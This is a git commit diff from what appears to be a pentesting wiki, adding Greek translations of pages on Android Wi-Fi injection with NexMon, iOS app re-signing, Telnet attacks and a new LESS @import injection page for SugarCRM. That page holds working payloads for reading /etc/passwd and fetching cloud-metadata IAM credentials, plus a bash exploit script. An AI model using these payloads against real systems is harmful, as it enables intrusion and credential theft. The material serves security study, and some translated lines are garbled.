Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:47:13 +00:00
parent f1048c355d
commit 1aeee9612f
6 changed files with 113 additions and 32 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -3,12 +3,12 @@
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση
Οι περισσότερες σύγχρονες συσκευές Android ενσωματώνουν ένα τσιπ Wi-Fi Broadcom/Cypress που αποστέλλεται χωρίς δυνατότητες λειτουργίας monitor 802.11 ή εισαγωγής πλαισίων. Το ανοιχτού κώδικα πλαίσιο NexMon διορθώνει το ιδιόκτητο firmware για να προσθέσει αυτές τις δυνατότητες και τις εκθέτει μέσω μιας κοινής βιβλιοθήκης (`libnexmon.so`) και ενός βοηθητικού CLI (`nexutil`). Με την προφόρτωση αυτής της βιβλιοθήκης στον κανονικό οδηγό Wi-Fi, μια ριζωμένη συσκευή μπορεί να συλλάβει ακατέργαστη κίνηση 802.11 και να εισάγει αυθαίρετα πλαίσια εξαλείφοντας την ανάγκη για έναν εξωτερικό προσαρμογέα USB.
Οι περισσότερες σύγχρονες συσκευές Android ενσωματώνουν ένα τσιπ Wi-Fi Broadcom/Cypress που αποστέλλεται χωρίς δυνατότητες λειτουργίας monitor 802.11 ή εισαγωγής πλαισίων. Το ανοιχτού κώδικα πλαίσιο NexMon διορθώνει το ιδιόκτητο firmware για να προσθέσει αυτές τις δυνατότητες και τις εκθέτει μέσω μιας κοινής βιβλιοθήκης (`libnexmon.so`) και ενός βοηθητικού CLI (`nexutil`). Με την προφόρτωση αυτής της βιβλιοθήκης στον κανονικό οδηγό Wi-Fi, μια ριζωμένη συσκευή μπορεί να συλλάβει ακατέργαστη κίνηση 802.11 και να εισάγει αυθαίρετα πλαίσια εξαλείφοντας την ανάγκη για εξωτερικό προσαρμογέα USB.
Αυτή η σελίδα τεκμηριώνει μια γρήγορη ροή εργασίας που χρησιμοποιεί ένα πλήρως διορθωμένο Samsung Galaxy S10 (BCM4375B1) ως παράδειγμα, χρησιμοποιώντας:
* Το module NexMon Magisk που περιέχει το διορθωμένο firmware + `libnexmon.so`
* Την εφαρμογή Hijacker Android για την αυτοματοποίηση της εναλλαγής λειτουργίας monitor
* Την εφαρμογή Hijacker Android για αυτοματοποίηση της εναλλαγής λειτουργίας monitor
* Προαιρετικά το Kali NetHunter chroot για να εκτελεί κλασικά εργαλεία ασύρματης δικτύωσης (aircrack-ng, wifite, mdk4 …) απευθείας κατά της εσωτερικής διεπαφής
Η ίδια τεχνική ισχύει για οποιαδήποτε συσκευή έχει διαθέσιμη δημόσια διόρθωση NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8, κ.λπ.).
@ -22,7 +22,7 @@
* NexMon Magisk ZIP ή αυτοσυγκροτημένη διόρθωση που παρέχει:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Προαιρετικά) Kali NetHunter ή οποιοδήποτε Linux chroot όπου σκοπεύετε να εκτελέσετε εργαλεία ασύρματης δικτύωσης
---
@ -40,7 +40,7 @@ sha1sum $(which nexutil)
---
## Ρύθμιση του Hijacker
Ο Hijacker μπορεί να εναλλάσσει τη λειτουργία monitor αυτόματα πριν εκτελέσει το `airodump`, `wifite`, κ.λπ. Στις **Ρυθμίσεις -> Προχωρημένα** προσθέστε τις παρακάτω καταχωρίσεις (επεξεργαστείτε τη διαδρομή της βιβλιοθήκης αν το module σας διαφέρει):
Ο Hijacker μπορεί να εναλλάσσει αυτόματα τη λειτουργία monitor πριν εκτελέσει το `airodump`, `wifite`, κ.λπ. Στις **Ρυθμίσεις -> Προχωρημένα** προσθέστε τις παρακάτω καταχωρήσεις (επεξεργαστείτε τη διαδρομή της βιβλιοθήκης αν το module σας διαφέρει):
```
Prefix:
LD_PRELOAD=/data/user/0/com.hijacker/files/lib/libnexmon.so
@ -53,17 +53,17 @@ nexutil -m0; svc wifi enable
```
Ενεργοποιήστε το “Start monitor mode on airodump start” ώστε κάθε σάρωση του Hijacker να γίνεται σε εγγενή λειτουργία παρακολούθησης (`wlan0` αντί για `wlan0mon`).
Εάν το Hijacker εμφανίζει σφάλματα κατά την εκκίνηση, δημιουργήστε τον απαιτούμενο φάκελο στην κοινή αποθήκευση και επανανοίξτε την εφαρμογή:
Αν το Hijacker εμφανίζει σφάλματα κατά την εκκίνηση, δημιουργήστε τον απαιτούμενο φάκελο στην κοινή αποθήκευση και επανανοίξτε την εφαρμογή:
```bash
mkdir -p /storage/emulated/0/Hijacker
```
### Τι σημαίνουν αυτές οι σημαίες `nexutil`;
* **`-s0x613`** Γράφει τη μεταβλητή firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (ενεργοποίηση TX τυχαίων πλαισίων).
* **`-i`** Βάζει τη διεπαφή σε λειτουργία παρακολούθησης (ο επικεφαλής radiotap θα προστεθεί).
* **`-i`** Θέτει τη διεπαφή σε λειτουργία παρακολούθησης (ο επικεφαλής radiotap θα προστεθεί).
* **`-v2`** Ορίζει το επίπεδο λεπτομέρειας; `2` εκτυπώνει επιβεβαίωση και έκδοση firmware.
* **`-m0`** Επαναφέρει τη διαχειριζόμενη λειτουργία (χρησιμοποιείται στην εντολή *disable*).
Μετά την εκτέλεση της *Ενεργοποίησης λειτουργίας παρακολούθησης* θα πρέπει να δείτε τη διεπαφή σε κατάσταση παρακολούθησης και να μπορείτε να συλλάβετε ακατέργαστα πλαίσια με:
Μετά την εκτέλεση της *Ενεργοποίησης λειτουργίας παρακολούθησης* θα πρέπει να δείτε τη διεπαφή σε κατάσταση παρακολούθησης και να μπορείτε να καταγράψετε ακατέργαστα πλαίσια με:
```bash
airodump-ng --band abg wlan0
```
@ -77,11 +77,11 @@ svc wifi disable && ifconfig wlan0 up && nexutil -s0x613 -i -v2
# Disable and return to normal Wi-Fi
nexutil -m0 && svc wifi enable
```
Αν χρειάζεστε μόνο παθητική ανίχνευση, παραλείψτε την επιλογή `-s0x613`.
Αν χρειάζεστε μόνο παθητική παρακολούθηση, παραλείψτε την επιλογή `-s0x613`.
---
## Χρήση του `libnexmon` μέσα στο Kali NetHunter / chroot
## Χρησιμοποιώντας `libnexmon` μέσα στο Kali NetHunter / chroot
Τα εργαλεία χρήστη που περιλαμβάνονται στο Kali δεν γνωρίζουν για το NexMon, αλλά μπορείτε να τα αναγκάσετε να το χρησιμοποιήσουν μέσω του `LD_PRELOAD`:
1. Αντιγράψτε το προ-κατασκευασμένο κοινό αντικείμενο στο chroot:
@ -97,16 +97,16 @@ wifite -i wlan0 # ή aircrack-ng, mdk4 …
```
4. Όταν τελειώσετε, απενεργοποιήστε τη λειτουργία παρακολούθησης όπως συνήθως στο Android.
Δεδομένου ότι το firmware χειρίζεται ήδη την έγχυση radiotap, τα εργαλεία χρήστη συμπ behave just like on an external Atheros adapter.
Δεδομένου ότι το firmware χειρίζεται ήδη την έγχυση radiotap, τα εργαλεία χρήστη συμπ behave όπως σε έναν εξωτερικό προσαρμογέα Atheros.
---
## Τυπικές Επιθέσεις που είναι Δυνατές
Μόλις η παρακολούθηση + TX είναι ενεργή μπορείτε να:
* Συλλάβετε WPA(2/3-SAE) handshakes ή PMKID με `wifite`, `hcxdumptool`, `airodump-ng`.
* Καταγράψετε WPA(2/3-SAE) handshakes ή PMKID με `wifite`, `hcxdumptool`, `airodump-ng`.
* Εγχύσετε πλαίσια αποσύνδεσης / αποσύνδεσης για να αναγκάσετε τους πελάτες να επανασυνδεθούν.
* Δημιουργήσετε αυθαίρετα πλαίσια διαχείρισης/δεδομένων με `mdk4`, `aireplay-ng`, Scapy, κ.λπ.
* Δημιουργήσετε rogue APs ή να εκτελέσετε επιθέσεις KARMA/MANA απευθείας από το τηλέφωνο.
* Δημιουργήσετε κακόβουλα AP ή να εκτελέσετε επιθέσεις KARMA/MANA απευθείας από το τηλέφωνο.
Η απόδοση στο Galaxy S10 είναι συγκρίσιμη με εξωτερικές USB NICs (~20 dBm TX, 2-3 M pps RX).
@ -114,8 +114,8 @@ wifite -i wlan0 # ή aircrack-ng, mdk4 …
## Αντιμετώπιση Προβλημάτων
* `Device or resource busy` βεβαιωθείτε ότι η **υπηρεσία Wi-Fi του Android είναι απενεργοποιημένη** (`svc wifi disable`) πριν ενεργοποιήσετε τη λειτουργία παρακολούθησης.
* `nexutil: ioctl(PRIV_MAGIC) failed` η βιβλιοθήκη δεν είναι προ-φορτωμένη; ελέγξτε ξανά τη διαδρομή `LD_PRELOAD`.
* Η έγχυση πλαισίων λειτουργεί αλλά δεν έχουν συλληφθεί πακέτα ορισμένα ROMs μπλοκάρουν σκληρά κανάλια; δοκιμάστε `nexutil -c <channel>` ή `iwconfig wlan0 channel <n>`.
* `nexutil: ioctl(PRIV_MAGIC) failed` η βιβλιοθήκη δεν έχει προφορτωθεί; ελέγξτε ξανά τη διαδρομή `LD_PRELOAD`.
* Η έγχυση πλαισίων λειτουργεί αλλά δεν καταγράφηκαν πακέτα ορισμένα ROMs μπλοκάρουν σκληρά κανάλια; δοκιμάστε `nexutil -c <channel>` ή `iwconfig wlan0 channel <n>`.
* Το SELinux μπλοκάρει τη βιβλιοθήκη ρυθμίστε τη συσκευή σε *Permissive* ή διορθώστε το πλαίσιο του module: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
---

View File

@ -4,21 +4,21 @@
## Κύρια ιδέα
Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της διαδικασίας της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω της (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της).
Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της διαδικασίας της αρχικής εφαρμογής ως παράμετρο, προκειμένου να αποκτήσουν την θύρα εργασίας πάνω σε αυτή (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της).
Ωστόσο, δεν είναι τόσο εύκολο όσο το να τραβήξετε το IPA, να το ξαναυπογράψετε με την εξουσιοδότηση και να το επαναφέρετε στη συσκευή σας. Αυτό οφείλεται στην προστασία FairPlay. Όταν αλλάζει η υπογραφή της εφαρμογής, το κλειδί DRM (Digital Rights Management) **ακυρώνεται και η εφαρμογή δεν θα λειτουργήσει**.
Με μια παλιά jailbroken συσκευή, είναι δυνατό να εγκαταστήσετε το IPA, **να το αποκρυπτογραφήσετε χρησιμοποιώντας το αγαπημένο σας εργαλείο** (όπως το Iridium ή το frida-ios-dump) και να το τραβήξετε πίσω από τη συσκευή. Ωστόσο, αν είναι δυνατόν, συνιστάται να ρωτήσετε τον πελάτη για το αποκρυπτογραφημένο IPA.
## Απόκτηση αποκρυπτογραφημένου IPA
## Αποκτήστε το αποκρυπτογραφημένο IPA
### Πάρτε το από την Apple
1. Εγκαταστήστε την εφαρμογή που θέλετε να δοκιμάσετε στο iPhone
2. Εγκαταστήστε και εκκινήστε το [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) μέσα στο macos σας
3. Ανοίξτε το `Terminal` στο Mac σας και cd στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Το IPA θα εμφανιστεί σε αυτόν τον φάκελο αργότερα.
4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από τη γραμμή μενού στην κορυφή.
5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το σπρώξει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
4. Θα πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω μπάρα μενού.
5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε.
Ελέγξτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία.
@ -46,7 +46,6 @@ ideviceinstaller -i no-min-version.ipa -w
Αφού εγκατασταθεί, μπορείτε να χρησιμοποιήσετε το **Iridium tweak** από το Cydia για να αποκτήσετε το αποκρυπτογραφημένο IPA.
### Patch entitlements & re-sign
Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, το `codesign` και το `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει να επαναυπογράψετε πολύ εύκολα ένα αρχείο IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε.
@ -78,7 +77,7 @@ ideviceinstaller -i resigned.ipa -w
| **AltStore 2 / SideStore** | macOS/Windows/Linux συνοδευτικό που ξαναυπογράφει το IPA κάθε 7 ημέρες με δωρεάν προφίλ ανάπτυξης | Αυτόματη επαναφόρτωση μέσω Wi-Fi, λειτουργεί μέχρι iOS 17 | Χρειάζεται υπολογιστής στο ίδιο δίκτυο, περιορισμός 3 εφαρμογών που επιβάλλεται από την Apple |
| **TrollStore 1/2** | Συσκευή σε iOS 14 15.4.1 ευάλωτη στο σφάλμα CoreTrust | *Μόνιμη* υπογραφή (χωρίς περιορισμό 7 ημερών); δεν απαιτεί υπολογιστή μόλις εγκατασταθεί | Δεν υποστηρίζεται σε iOS 15.5+ (το σφάλμα έχει διορθωθεί) |
Για τακτικές δοκιμές pentesting σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
Για τακτικές δοκιμές pentest σε τρέχουσες εκδόσεις iOS, οι Alt/Side-Store είναι συνήθως η πιο πρακτική επιλογή.
### Hooking / δυναμική εργαλειακή υποστήριξη
@ -90,11 +89,11 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Recent Frida releases (>=16) automatically handle pointer authentication and other iOS 17 mitigations, so most existing scripts work out-of-the-box.
Οι πρόσφατες εκδόσεις Frida (>=16) χειρίζονται αυτόματα την πιστοποίηση δεικτών και άλλες μετρήσεις προστασίας του iOS 17, οπότε τα περισσότερα υπάρχοντα σενάρια λειτουργούν αμέσως.
### Automated dynamic analysis with MobSF (no jailbreak)
### Αυτοματοποιημένη δυναμική ανάλυση με MobSF (χωρίς jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να εργάζεται με ένα dev-signed IPA σε μια πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει ένα web UI με εξερευνητή συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【†L2-L3】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) μπορεί να εργάζεται με ένα dev-signed IPA σε μια πραγματική συσκευή χρησιμοποιώντας την ίδια τεχνική (`get_task_allow`) και παρέχει ένα web UI με εξερευνητή συστήματος αρχείων, καταγραφή κυκλοφορίας και κονσόλα Frida【】. Ο γρηγορότερος τρόπος είναι να τρέξετε το MobSF σε Docker και στη συνέχεια να συνδέσετε το iPhone σας μέσω USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \

View File

@ -25,7 +25,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
**Ξέρω ότι είναι δυνατόν να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
### [Brute force](../generic-hacking/brute-force.md#telnet)
@ -67,17 +67,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
```
### Recent Vulnerabilities (2022-2025)
### Πρόσφατες Ευπάθειες (2022-2025)
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Η ενσωματωμένη υπηρεσία Telnet αποδέχθηκε σκληρά κωδικοποιημένα διαπιστευτήρια και απέτυχε να καθαρίσει την είσοδο, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη RCE ως root μέσω κατασκευασμένων εντολών στην πόρτα 23. Διορθώθηκε στο firmware ≥ 1.04B05.
* **CVE-2024-45698 D-Link Wi-Fi 6 routers (DIR-X4860)**: Η ενσωματωμένη υπηρεσία Telnet δέχτηκε σκληρά κωδικοποιημένα διαπιστευτήρια και απέτυχε να καθαρίσει την είσοδο, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη RCE ως root μέσω κατασκευασμένων εντολών στην πόρτα 23. Διορθώθηκε στο firmware ≥ 1.04B05.
* **CVE-2023-40478 NETGEAR RAX30**: Υπερχείλιση buffer βάσει στοίβας στην εντολή Telnet CLI `passwd` επιτρέπει σε έναν γειτονικό επιτιθέμενο να παρακάμψει την αυθεντικοποίηση και να εκτελέσει αυθαίρετο κώδικα ως root.
* **CVE-2022-39028 GNU inetutils telnetd**: Μια ακολουθία δύο byte (`0xff 0xf7` / `0xff 0xf8`) ενεργοποιεί μια αναφορά NULL-pointer που μπορεί να καταρρεύσει το `telnetd`, οδηγώντας σε μόνιμο DoS μετά από αρκετές καταρρεύσεις.
Κρατήστε αυτές τις CVEs στο μυαλό σας κατά τη διάρκεια της τριχοτόμησης ευπαθειών—αν ο στόχος εκτελεί un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε μια απλή διαδρομή για εκτέλεση κώδικα ή μια διαταραχή DoS.
Κρατήστε αυτές τις CVEs στο μυαλό σας κατά τη διάρκεια της τριχοτόμησης ευπαθειών—αν ο στόχος εκτελεί un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε έναν απλό δρόμο προς την εκτέλεση κώδικα ή μια διαταραχή DoS.
### Sniffing Credentials & Man-in-the-Middle
### Υποκλοπή Διαπιστευτηρίων & Man-in-the-Middle
Το Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των διαπιστευτηρίων, σε **clear-text**. Δύο γρήγοροι τρόποι για να τα καταγράψετε:
Το Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των διαπιστευτηρίων, σε **καθαρό κείμενο**. Δύο γρήγοροι τρόποι για να τα καταγράψετε:
```bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
@ -115,7 +115,7 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
1. Προτιμήστε το SSH και απενεργοποιήστε εντελώς την υπηρεσία Telnet.
2. Εάν απαιτείται το Telnet, συνδέστε το μόνο σε VLAN διαχείρισης, επιβάλετε ACLs και τυλίξτε τον δαίμονα με TCP wrappers (`/etc/hosts.allow`).
3. Αντικαταστήστε τις παλιές υλοποιήσεις `telnetd` με `ssl-telnet` ή `telnetd-ssl` για να προσθέσετε κρυπτογράφηση μεταφοράς, αλλά **αυτό προστατεύει μόνο τα δεδομένα κατά τη μεταφορά—η μαντεψιά κωδικών παραμένει απλή**.
3. Αντικαταστήστε τις παλιές υλοποιήσεις `telnetd` με `ssl-telnet` ή `telnetd-ssl` για να προσθέσετε κρυπτογράφηση μεταφοράς, αλλά **αυτό προστατεύει μόνο τα δεδομένα σε μεταφορά—η μαντεψιά κωδικών παραμένει απλή**.
4. Παρακολουθήστε την εξερχόμενη κίνηση προς την πόρτα 23; οι παραβιάσεις συχνά δημιουργούν αντίστροφα shells μέσω Telnet για να παρακάμψουν αυστηρά φίλτρα εξόδου HTTP.
## Αναφορές
@ -123,4 +123,4 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
* D-Link Advisory CVE-2024-45698 Κρίσιμη Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Overview
LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή εντολή `@import`. Κατά τη διάρκεια της μεταγλώττισης, η μηχανή LESS θα **ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις `@import`** και θα ενσωματώσει ("inline") το περιεχόμενό τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή `(inline)`.
Όταν μια εφαρμογή συνδυάζει **είσοδο που ελέγχεται από τον χρήστη** σε μια συμβολοσειρά που αργότερα αναλύεται από τον μεταγλωττιστή LESS, ένας επιτιθέμενος μπορεί να **εισάγει αυθαίρετο κώδικα LESS**. Εκμεταλλευόμενος το `@import (inline)`, ο επιτιθέμενος μπορεί να αναγκάσει τον διακομιστή να ανακτήσει:
* Τοπικά αρχεία μέσω του πρωτοκόλλου `file://` (αποκάλυψη πληροφοριών / Τοπική Συμπερίληψη Αρχείων).
* Απομακρυσμένους πόρους σε εσωτερικά δίκτυα ή υπηρεσίες μεταδεδομένων cloud (SSRF).
Αυτή η τεχνική έχει παρατηρηθεί σε πραγματικά προϊόντα όπως το **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Exploitation
1. Εντοπίστε μια παράμετρο που είναι άμεσα ενσωματωμένη μέσα σε μια συμβολοσειρά στυλ που επεξεργάζεται η μηχανή LESS (π.χ. `?lm=` στο SugarCRM).
2. Κλείστε τη τρέχουσα δήλωση και εισάγετε νέες εντολές. Οι πιο κοινές πρωτογενείς είναι:
* `;` τερματίζει την προηγούμενη δήλωση.
* `}` κλείνει το προηγούμενο μπλοκ (αν απαιτείται).
3. Χρησιμοποιήστε `@import (inline) '<URL>';` για να διαβάσετε αυθαίρετους πόρους.
4. Προαιρετικά, εισάγετε μια **σημείωση** (`data:` URI) μετά την εισαγωγή για να διευκολύνετε την εξαγωγή του ανακτηθέντος περιεχομένου από το μεταγλωττισμένο CSS.
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Το περιεχόμενο του `/etc/passwd` θα εμφανιστεί στην HTTP απόκριση ακριβώς πριν από τον δείκτη `@@END@@`.
### SSRF Cloud Metadata
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Αυτοματοποιημένο PoC (παράδειγμα SugarCRM)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Ανίχνευση
* Αναζητήστε δυναμικά παραγόμενες απαντήσεις `.less` ή `.css` που περιέχουν μη απολυμανμένες παραμέτρους ερωτήματος.
* Κατά την ανασκόπηση κώδικα, αναζητήστε κατασκευές όπως `"@media all { .preview { ... ${userInput} ... } }"` που περνιούνται σε συναρτήσεις απόδοσης LESS.
* Οι απόπειρες εκμετάλλευσης συχνά περιλαμβάνουν `@import`, `(inline)`, `file://`, `http://169.254.169.254`, κ.λπ.
## Μετριασμοί
* Μην περνάτε μη αξιόπιστα δεδομένα στον μεταγλωττιστή LESS.
* Εάν απαιτούνται δυναμικές τιμές, απολυμάνετε/καθαρίστε τις σωστά (π.χ., περιορίστε σε αριθμητικά tokens, λευκές λίστες).
* Απενεργοποιήστε, όταν είναι δυνατόν, τη δυνατότητα χρήσης `(inline)` εισαγωγών ή περιορίστε τα επιτρεπόμενα πρωτόκολλα σε `https`.
* Διατηρήστε τις εξαρτήσεις ενημερωμένες η SugarCRM διόρθωσε αυτό το ζήτημα στις εκδόσεις 13.0.4 και 14.0.1.
## Πραγματικές Περιπτώσεις
| Προϊόν | Ευάλωτο Endpoint | Επιπτώσεις |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων |
## Αναφορές
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,6 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
Ελέγξτε **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` injection in `/rest/v10/css/preview` επιτρέπει μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}